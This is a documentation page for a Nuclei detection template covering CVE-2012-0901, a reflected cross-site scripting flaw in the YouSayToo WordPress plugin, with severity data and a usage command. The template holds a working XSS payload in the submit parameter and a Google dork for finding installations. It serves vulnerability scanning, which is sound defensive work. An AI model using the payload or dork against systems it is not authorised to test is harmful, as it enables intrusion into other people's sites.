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YouSayToo auto-publishing 1.0 - Cross-Site Scripting

ID: CVE-2012-0901

Severity: medium

Author: daffainfo

Tags: cve,cve2012,wp-plugin,packetstorm,wordpress,xss,attenzione

Description

Section titled “Description”

A cross-site scripting vulnerability in yousaytoo.php in YouSayToo auto-publishing plugin 1.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.

YAML Source

Section titled “YAML Source”
id: CVE-2012-0901


info:
  name: YouSayToo auto-publishing 1.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in yousaytoo.php in YouSayToo auto-publishing plugin 1.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0901
    - http://packetstormsecurity.org/files/view/108470/wpystap-xss.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/72271
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/d4n-sec/d4n-sec.github.io
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-0901
    cwe-id: CWE-79
    epss-score: 0.00223
    epss-percentile: 0.60514
    cpe: cpe:2.3:a:attenzione:yousaytoo:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: attenzione
    product: yousaytoo
    google-query: "inurl:\"/wp-content/plugins/yousaytoo-auto-publishing-plugin\""
  tags: cve,cve2012,wp-plugin,packetstorm,wordpress,xss,attenzione
flow: http(1) && http(2)


http:
  - method: GET
    path:
      - '{{BaseURL}}'


    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/yousaytoo-auto-publishing-plugin/'


  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-0901.yaml"

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